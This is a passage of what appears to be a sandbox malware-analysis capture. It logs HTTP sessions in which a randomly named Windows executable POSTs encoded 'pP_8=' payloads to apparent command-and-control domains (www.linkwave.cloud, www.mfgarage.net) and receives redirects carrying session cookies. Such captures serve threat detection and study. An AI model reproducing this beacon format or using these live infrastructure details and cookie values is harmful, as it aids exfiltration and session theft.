33 56 50 56 79 4e 57 65 55 78 59 44 66 47 37 4c 77 7a 42 45 6c 61 61 2f 33 76 35 57 66 72 2b 67 42 62 63 54 31 4e 52 75 31 32 62 4a 57 6b 63 6e 33 46 47 51 70 77 64 79 67 67 6d 6e 75 6e 76 33 48 47 53 68 48 4b 32 77 49 67 49 5a 34 67 68 6b 55 52 57 4f 37 37 71 34 70 77 33 41 6b 4a 4c 66 33 71 61 42 36 34 6e 36 74 46 41 6f 71 4d 2f 52 39 47 35 6a 33 59 78 56 57 66 74 76 6b 37 63 70 56 76 58 53 38 39 37 69 2b 4b 77 3d 3d Data Ascii: pP_8=YTqtiDoowBcpM3VpevMtPwDSUtq6ftyRU5ZT3x1PDOTgYjbYe+WfAzX3VPVyNWeUxYDfG7LwzBElaa/3v5Wfr+gBbcT1NRu12bJWkcn3FGQpwdyggmnunv3HGShHK2wIgIZ4ghkURWO77q4pw3AkJLf3qaB64n6tFAoqM/R9G5j3YxVWftvk7cpVvXS897i+Kw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	63346	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:17.723570108 CEST	789	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 57 6c 70 63 4d 30 74 65 41 44 54 58 74 71 36 52 4e 79 56 55 35 46 54 33 77 42 68 44 38 33 67 59 47 2f 59 52 63 75 66 44 7a 58 33 41 2f 56 33 54 6d 65 62 78 59 66 39 47 36 6e 77 7a 42 67 6c 61 65 7a 33 6f 49 57 63 74 2b 67 50 64 63 54 33 4a 52 75 31 32 62 4a 57 6b 59 32 51 46 47 49 70 77 73 43 67 68 45 50 74 37 2f 33 41 53 43 68 48 62 6d 77 4d 67 49 59 62 67 6c 6c 63 52 55 32 37 37 71 49 70 77 6d 41 6e 41 4c 66 78 6c 36 41 30 78 6d 72 37 4e 6a 46 79 42 75 70 7a 48 35 6e 31 55 58 45 4d 4f 63 4f 7a 70 63 4e 6d 79 51 62 49 77 34 66 33 52 79 48 69 69 77 6e 4e 76 32 4e 57 4f 45 77 5a 36 36 4a 44 53 37 77 3d Data Ascii: pP_8=YTqtiDoowBcpMWlpcM0teADTXtq6RNyVU5FT3wBhD83gYG/YRcufDzX3A/V3TmebxYf9G6nwzBglaez3oIWct+gPdcT3JRu12bJWkY2QFGIpwsCghEPt7/3ASChHbmwMgIYbgllcRU277qIpwmAnALfxl6A0xmr7NjFyBupzH5n1UXEMOcOzpcNmyQbIw4f3RyHiiwnNv2NWOEwZ66JDS7w=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	63347	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:20.268410921 CEST	10871	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 57 6c 70 63 4d 30 74 65 41 44 54 58 74 71 36 52 4e 79 56 55 35 46 54 33 77 42 68 44 38 2f 67 59 77 7a 59 51 37 36 66 43 7a 58 33 63 76 56 32 54 6d 65 38 78 59 58 35 47 36 36 4e 7a 44 49 6c 61 37 76 33 70 36 75 63 34 4f 67 50 66 63 54 30 4e 52 75 61 32 59 68 53 6b 63 53 51 46 47 49 70 77 76 71 67 6b 6d 6e 74 35 2f 33 48 47 53 68 31 4b 32 77 6b 67 49 42 67 67 6c 68 4d 51 6c 57 37 37 4b 59 70 7a 55 59 6e 63 62 66 7a 78 61 42 70 78 6d 6d 6c 4e 69 70 2b 42 75 4d 59 48 37 37 31 46 44 42 4b 4b 34 2b 49 2f 4b 46 66 70 58 7a 59 37 49 36 30 66 55 6e 4c 69 68 7a 59 34 6c 46 66 4d 45 6f 63 2f 6f 30 49 47 75 6e 72 6b 53 75 4a 61 6d 59 70 30 6b 30 71 53 67 4c 6e 47 70 48 71 4b 5a 73 55 74 63 4a 7a 78 4c 38 59 30 32 31 73 69 31 4c 47 43 41 66 6f 56 6b 78 7a 65 42 49 67 74 59 58 78 57 44 41 42 62 69 4c 64 31 52 33 58 52 69 70 50 73 32 2b 30 55 71 70 36 68 6f 42 62 64 31 31 6d 6f 32 66 74 61 46 37 70 42 6a 56 6e 69 66 49 4f 64 63 6a 49 66 57 62 49 54 4c 4a 4e 75 [TRUNCATED] Data Ascii: pP_8=YTqtiDoowBcpMWlpcM0teADTXtq6RNyVU5FT3wBhD8/gYwzYQ76fCzX3cvV2Tme8xYX5G66NzDIla7v3p6uc4OgPfcT0NRua2YhSkcSQFGIpwvqgkmnt5/3HGSh1K2wkgIBgglhMQlW77KYpzUYncbfzxaBpxmmlNip+BuMYH771FDBKK4+I/KFfpXzY7I60fUnLihzY4lFfMEoc/o0IGunrkSuJamYp0k0qSgLnGpHqKZsUtcJzxL8Y021si1LGCAfoVkxzeBIgtYXxWDABbiLd1R3XRipPs2+0Uqp6hoBbd11mo2ftaF7pBjVnifIOdcjIfWbITLJNuUwMukMIdLwDpnhIffou0rHIqy1pavdljN/QxnrxU/CPxG0a5eLbgnwJvovQcCYnH/Eg1GyU37VhQhD6Em6Z2FMKm+HQmkPBApzSPUr9ZhD525tVMKHXFA9nUJIYTE/y+XntoNBQwtw08Uad/RWCvD4fg3LcDfmh9BN2U5zYKxeg7al3hPzPwr6sNvRQbEKkzcIn8rC0sqiyJ5LTKaLjIEZcuUy7zLQCASoDU+7vt5WowoJyBbBfQ7KHc5xfq8gNOOuVqEqX74gbRDItVDmvcGQWdwPXSfr4dPX2KXnNa8q74SI60BKNuZZ9yebY5qBQ1T5vPNNTWZ5CZSDNMviHFg0wvd+hcPVcSl0cZY9RK6JydX92Yfy1wWhtL7SepO3+lFk1Vv8/97lfYDdTHzYXv21iGIjLTJgpjc0M4GQ89jO+Bk4GCQIUB8Z+0BN8n1O7AJnO31k16Re1AdYDCjuRxe5/aMf2TYssV4QCPEOZRYqr466j3qqOVntVco9BiHDIzQLY3UE1qavhIcYzlClDu7gKL2KrIQ8QWrZJKf4CvEXhOLlLhgxHvbrFhBFULfLJhvSmA3/ZwCNN4Dc6xXqYrmofO+EEVGtBc58kFPTsuqSYZ6loOkyW1kSE9MvBatoNILcy03grqcXEQF96GU1Bbl0S3FCVj4S7Op9 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	63348	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:22.816143036 CEST	501	OUT	GET /al6z/?pP_8=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.linkwave.cloud Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:19:23.490638018 CEST	392	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 11 Sep 2024 09:19:23 GMT Content-Type: text/html Content-Length: 252 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 5f 38 3d 56 52 43 4e 68 30 4e 57 30 47 67 7a 58 6a 4a 39 50 64 6c 57 66 58 57 77 64 50 4b 70 42 76 36 4c 4b 36 67 69 2f 33 31 4f 49 2f 48 4c 56 7a 33 65 64 4c 4f 46 50 67 66 42 57 49 49 46 49 31 79 76 34 4b 6e 48 64 5a 2f 42 79 43 41 64 52 72 4f 77 32 39 43 70 73 38 67 70 64 4d 2b 78 59 54 6d 2f 70 35 30 66 35 64 7a 32 4d 56 51 4d 33 70 71 65 67 47 72 67 34 63 77 3d 26 56 30 51 68 3d 34 70 42 74 61 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?pP_8=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=&V0Qh=4pBta8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	63349	85.153.138.113	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:28.740500927 CEST	763	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 74 6e 67 58 65 67 70 41 34 64 79 48 31 67 48 31 72 36 56 36 45 4a 50 55 67 71 51 71 34 6c 41 58 66 66 51 62 30 4e 45 54 69 59 53 52 51 79 48 31 34 69 4e 34 4a 70 45 49 78 4f 65 53 6f 75 51 59 6e 35 48 6e 4e 69 46 62 52 49 61 72 65 46 46 73 56 6e 67 4c 32 58 50 46 56 72 6e 47 59 43 51 7a 58 68 63 6b 56 32 77 35 66 46 35 65 4f 58 2b 2f 64 39 36 67 68 36 41 4a 4e 32 4d 68 44 6c 33 70 58 67 4f 76 54 58 70 79 58 2f 46 61 65 52 37 64 44 62 6c 63 64 6c 69 31 36 6a 63 4d 59 72 6a 38 69 57 54 75 58 42 79 41 54 7a 46 59 4b 64 79 78 6c 41 43 6d 42 67 3d 3d Data Ascii: pP_8=qx+IcpUA9j0ptngXegpA4dyH1gH1r6V6EJPUgqQq4lAXffQb0NETiYSRQyH14iN4JpEIxOeSouQYn5HnNiFbRIareFFsVngL2XPFVrnGYCQzXhckV2w5fF5eOX+/d96gh6AJN2MhDl3pXgOvTXpyX/FaeR7dDblcdli16jcMYrj8iWTuXByATzFYKdyxlACmBg==
Sep 11, 2024 11:19:29.857608080 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=7; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:29 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=QDILqjVcXFmEXOnl66e160a1; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:29 GMT; Path=/; Secure; SameSite=None set-cookie: csss=Z54BQt4A_PQ9yIeu9HlI5qtEAUQqILYJqfxD0LMR38Xp3Uiuz9RmfyuzXf4V719veaGR-SqUX8Z5sttsN5frzQ; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:49:29 GMT; Path=/; Secure; SameSite=None set-cookie: csls=igcCZUOV_dj1TGeFk3x26bEeocV_uFTw_KcDcRKv3yeigNFoNbGIHI_0uhtXNnVBGQ-0LV2cFh3jtjQp2RJOHA; Domain=.sahibinden.com; Expires=Thu, 11-Sep-2025 09:19:29 GMT; Path=/; Secure; SameSite=None set-cookie: csid=jZdFKFIBuVsFizCwbWtwddbgRfQkCudIJb8K_knhX-dx54Y1L8deSPIr56tXbVKLzm2mJnrmoe4xEl0qn0ycCyK6D5PXhvwWRNe_oAyQBXUqMdavZE2CnXaiUB-xMTf4nX70JFvfO1mvZm6HgxN_RAUiF_HoG5aJUdSzb-SuPd25RVyrTk6qVoENDIWyqsvurUQCVomAnGPOJfhCa5yREQ6p8ePxZeufiQQnBlhQI7neGjthC4YQUKS_XpHC6IcvugkypoDrBj7CAP0owzqXn8id3AxZEkmXJIWKQ1GTsJnfd26x5PsP_WgEUJtvM6BHj_ZLAnWSmDXJ Data Raw: Data Ascii:
Sep 11, 2024 11:19:29.857626915 CEST	404	IN	Data Raw: 6b 2d 71 53 65 44 6c 48 66 2d 75 61 6a 73 64 42 6b 38 33 78 75 78 7a 65 42 56 6b 44 66 74 59 7a 7a 53 63 65 7a 32 4e 57 44 32 64 6b 53 4b 4d 68 39 69 65 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 69 72 Data Ascii: k-qSeDlHf-uajsdBk83xuxzeBVkDftYzzScez2NWD2dkSKMh9ie; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:34:29 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfga
Sep 11, 2024 11:19:29.857779026 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=7; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:29 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=QDILqjVcXFmEXOnl66e160a1; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:29 GMT; Path=/; Secure; SameSite=None set-cookie: csss=Z54BQt4A_PQ9yIeu9HlI5qtEAUQqILYJqfxD0LMR38Xp3Uiuz9RmfyuzXf4V719veaGR-SqUX8Z5sttsN5frzQ; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:49:29 GMT; Path=/; Secure; SameSite=None set-cookie: csls=igcCZUOV_dj1TGeFk3x26bEeocV_uFTw_KcDcRKv3yeigNFoNbGIHI_0uhtXNnVBGQ-0LV2cFh3jtjQp2RJOHA; Domain=.sahibinden.com; Expires=Thu, 11-Sep-2025 09:19:29 GMT; Path=/; Secure; SameSite=None set-cookie: csid=jZdFKFIBuVsFizCwbWtwddbgRfQkCudIJb8K_knhX-dx54Y1L8deSPIr56tXbVKLzm2mJnrmoe4xEl0qn0ycCyK6D5PXhvwWRNe_oAyQBXUqMdavZE2CnXaiUB-xMTf4nX70JFvfO1mvZm6HgxN_RAUiF_HoG5aJUdSzb-SuPd25RVyrTk6qVoENDIWyqsvurUQCVomAnGPOJfhCa5yREQ6p8ePxZeufiQQnBlhQI7neGjthC4YQUKS_XpHC6IcvugkypoDrBj7CAP0owzqXn8id3AxZEkmXJIWKQ1GTsJnfd26x5PsP_WgEUJtvM6BHj_ZLAnWSmDXJ Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	63350	85.153.138.113	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:31.292432070 CEST	783	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 75 48 51 58 62 44 78 41 35 39 79 45 36 41 48 31 68 61 56 2b 45 4a 54 55 67 76 38 36 34 58 55 58 66 2b 67 62 31 50 67 54 68 59 53 52 66 53 48 70 31 43 4e 7a 4a 70 59 41 78 4c 2b 53 6f 75 45 59 6e 38 6a 6e 4e 52 74 59 54 59 61 6c 54 6c 46 69 52 6e 67 4c 32 58 50 46 56 72 79 72 59 43 49 7a 58 77 73 6b 55 54 4d 36 57 6c 35 5a 47 33 2b 2f 5a 39 36 73 68 36 41 72 4e 33 67 50 44 6e 50 70 58 6b 4b 76 54 47 70 7a 64 2f 46 51 51 78 36 65 4b 5a 49 34 61 56 33 6a 38 7a 41 7a 56 61 58 35 75 77 43 30 47 77 54 58 42 7a 68 72 58 61 37 46 6f 44 2f 76 61 76 38 4d 6c 6a 6b 41 4b 6d 57 44 55 5a 38 64 76 4d 2f 46 64 4d 55 3d Data Ascii: pP_8=qx+IcpUA9j0puHQXbDxA59yE6AH1haV+EJTUgv864XUXf+gb1PgThYSRfSHp1CNzJpYAxL+SouEYn8jnNRtYTYalTlFiRngL2XPFVryrYCIzXwskUTM6Wl5ZG3+/Z96sh6ArN3gPDnPpXkKvTGpzd/FQQx6eKZI4aV3j8zAzVaX5uwC0GwTXBzhrXa7FoD/vav8MljkAKmWDUZ8dvM/FdMU=
Sep 11, 2024 11:19:31.999973059 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=742; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:31 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=kIyacWYAirgt8oOA66e160a3; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:31 GMT; Path=/; Secure; SameSite=None set-cookie: csss=w6WsFphk9OJzVduKi5_cfZsQ0G8uDEeCmMWFVN52S47jZMNH5QAvW3Zrymy2-x-VDCo6BNaNFXC690ndvNs2fg; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:49:31 GMT; Path=/; Secure; SameSite=None set-cookie: csls=fKwaOJOSyZaHwH9pIZCwzBb8iqBf7BKzqM5hzKrwsADL2SWMblQLshmCBVaVlOEKylOyqPU4Q_EwbA94zwnLjw; Domain=.sahibinden.com; Expires=Thu, 11-Sep-2025 09:19:31 GMT; Path=/; Secure; SameSite=None set-cookie: csid=a3l_Dz4ouUIFsbfehgj8dO6WdUO0vY6VvI8ACpr2gVWPM2bfi2IUo13OH4_zlh9qE214pUVe-2-egNmferplQ1xnAniSlWOYaxNoyFJHRXvJyzjQ3Kbu-jk5mxoJHQSOVaTZSpsvbaFDkPl4Wd7k1g3sA51QK6eRjSmSp96lENFyf19uje-q0xjD4Y6AY6eSwdg6mWxdY4pPk0stWvjYqI6HuiZizo5A0SLM1vg54YbELCDBe8FXC1sF-j_xuibTDkGaVwPvlBjXADBzeyS7P0Y8nwSGevRTZcnfP91wtC0IdRjjeq7CfhdrooQSSOxz6hVLLEaZIL Data Raw: Data Ascii:
Sep 11, 2024 11:19:32.000555038 CEST	407	IN	Data Raw: 42 67 48 5f 62 47 6e 54 31 6b 57 69 5a 69 41 6f 34 6a 34 61 78 6d 50 69 5f 38 61 4f 61 49 57 6d 36 62 59 43 6e 58 68 52 44 67 41 5f 72 36 59 74 47 63 72 66 70 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: BgH_bGnT1kWiZiAo4j4axmPi_8aOaIWm6bYCnXhRDgA_r6YtGcrfp; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:34:31 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	63351	85.153.138.113	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:19:33.837366104 CEST	10865	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 75 48 51 58 62 44 78 41 35 39 79 45 36 41 48 31 68 61 56 2b 45 4a 54 55 67 76 38 36 34 58 4d 58 66 73 34 62 31 76 63 54 67 59 53 52 57 79 48 71 31 43 4e 71 4a 70 51 45 78 4c 7a 76 6f 71 30 59 68 61 76 6e 4c 67 74 59 5a 59 61 6c 61 46 46 6a 56 6e 67 6b 32 57 2b 4e 56 72 69 72 59 43 49 7a 58 79 30 6b 64 6d 77 36 51 6c 35 65 4f 58 2b 4a 64 39 36 41 68 36 59 52 4e 33 55 78 57 44 7a 70 5a 67 75 76 65 51 39 7a 65 66 46 65 54 78 36 38 4b 5a 45 6e 61 56 72 5a 38 77 63 5a 56 61 6a 35 2b 57 33 31 46 54 37 76 51 7a 70 71 41 4b 33 46 6b 51 50 52 62 2f 38 4e 74 52 51 70 49 69 65 65 65 49 73 54 31 2b 58 7a 43 70 6d 50 4f 33 30 53 4c 44 61 6d 4b 62 54 62 58 46 72 55 50 48 4b 65 76 36 35 4c 70 47 6a 46 41 4c 6f 47 37 37 6f 61 63 62 32 69 38 37 4c 32 6f 64 72 64 53 6a 72 37 4b 38 35 5a 6c 74 62 77 6e 4e 51 76 34 68 70 36 54 51 5a 52 2f 51 71 58 53 48 63 47 63 70 33 30 66 70 6a 74 4c 35 76 48 4e 36 46 2b 65 38 2b 52 76 38 4c 68 44 76 43 53 36 45 4d 48 6c 45 69 4a 71 [TRUNCATED] Data Ascii: pP_8=qx+IcpUA9j0puHQXbDxA59yE6AH1haV+EJTUgv864XMXfs4b1vcTgYSRWyHq1CNqJpQExLzvoq0YhavnLgtYZYalaFFjVngk2W+NVrirYCIzXy0kdmw6Ql5eOX+Jd96Ah6YRN3UxWDzpZguveQ9zefFeTx68KZEnaVrZ8wcZVaj5+W31FT7vQzpqAK3FkQPRb/8NtRQpIieeeIsT1+XzCpmPO30SLDamKbTbXFrUPHKev65LpGjFALoG77oacb2i87L2odrdSjr7K85ZltbwnNQv4hp6TQZR/QqXSHcGcp30fpjtL5vHN6F+e8+Rv8LhDvCS6EMHlEiJqY+3kaCdijHR0+CM/ZqRlufycJGyGcdWDGe/CFMJfJaS72OpwFotnfQ9CEbQr9QYTOqMUCTOmq+8qU+sAkGtocE4gM/uRvzE/eTEg98zmqF2+arFamJGHe6BbDkdEDPWrT66O13OYN+a8u8nlbiOAaaY7GAjemc/L+O6DXrTqVIqc1tD5dB/7bFo3+RA4LXnF/npKTborRk+nlXI5qUewRVbdAtaL8Mmnxdps8GX6mGB0oqSIdYKXihgbKx51rkSGcEzSm88wJQgHemwCqeEn7n5ZY6dsUjfpXw9oFtT6b/YI4ZIdYIogmkxWkwFiHbJpLmgIAll7XADnNS9PdWaZK8qVA1WjYzbSuVHZXvgogFT1uZ6jiFSfkC0M7AQghw2HXXovYg+cKTKhL0pBoVuneo4ERI0SDBSZXWIHcwlJST+ohaCJjNnH0Uy7Jc9zJuF/VSKEWBgqnben4BKWqVlxbm9dFB5UMu0i1Y+L/tceAOkIxM1AoP4VDPN3zhl1s/PANTA2Ei2ye6ZI6iQWTO0hGz0bLvWh4DV3WlTXafTjuwA8qr8t8vCfNgy8iqyoaeJo+LNHeo7xwUD1ExkJ74qB6tuqEBOaSEHRtatko1A2ax+c5S0AYCuuCbDP0Pk533xzefFToRtGsAEUEeBOYkhwrkJqizuf+SVxeI [TRUNCATED]
Sep 11, 2024 11:19:34.680179119 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=784; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:34 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=p2J1reMUFHMrLVh166e160a6; Domain=.sahibinden.com; Expires=Sat, 11-Sep-2027 09:19:34 GMT; Path=/; Secure; SameSite=None set-cookie: csss=5X-Rs7sE-vu0e8kQwAvAA-N1Nvc9PnV19l4j_QpLXzcDHPby6BpF4aQLKPL0QqWuZJArjfu4xPnfpQ-AonjMIQ; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:49:34 GMT; Path=/; Secure; SameSite=None set-cookie: csls=tnbkxRndPT7Qq-RyVzKh46RdXqhfPVq_9gp-EWz059baGh967ws53g67l_W1Fg1ddIHQ-vKbR6s88zqQsgyGTA; Domain=.sahibinden.com; Expires=Thu, 11-Sep-2025 09:19:34 GMT; Path=/; Secure; SameSite=None set-cookie: csid=171dSqHDNUUe_QfIvc3RQnrxruCX9IXFi1yS4eChHWN8UjboNzfuXJo1i0QwEvrn9K4tl5yQxl3brzPNsJutkkwQONjayI_wrwi6qR5vm9ZtfualhmGxhHeCpSA1xNHBnFaWTXZIMyytyz9kz44rwdheug6T3LoQrG8OuC_2tDSGGwMvxwFvK0bm36pWd89XILbAZ__6_NZcIyW1_50Rnkj55As0ljtBVnlf2i939SVRsl27As8YytxbpOWB1xSYLLsJGPAZlKOpKUQYtqwr2Z1krxaauD7vVAHeP03eElPF_0WUur9XhdEac0VZZQm8XU6H78LEBV Data Raw: Data Ascii:
Sep 11, 2024 11:19:34.680330038 CEST	406	IN	Data Raw: 70 79 31 32 44 54 39 68 4e 6c 6f 63 58 6d 46 77 45 55 4b 32 49 57 64 4b 2d 31 4f 73 37 71 70 35 48 6e 4a 43 4b 35 45 4b 4b 32 6a 63 50 76 4f 55 6a 59 74 4e 4c 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: py12DT9hNlocXmFwEUK2IWdK-1Os7qp5HnJCK5EKK2jcPvOUjYtNL; Domain=.sahibinden.com; Expires=Wed, 11-Sep-2024 09:34:34 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	63352	85.153.138.113	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
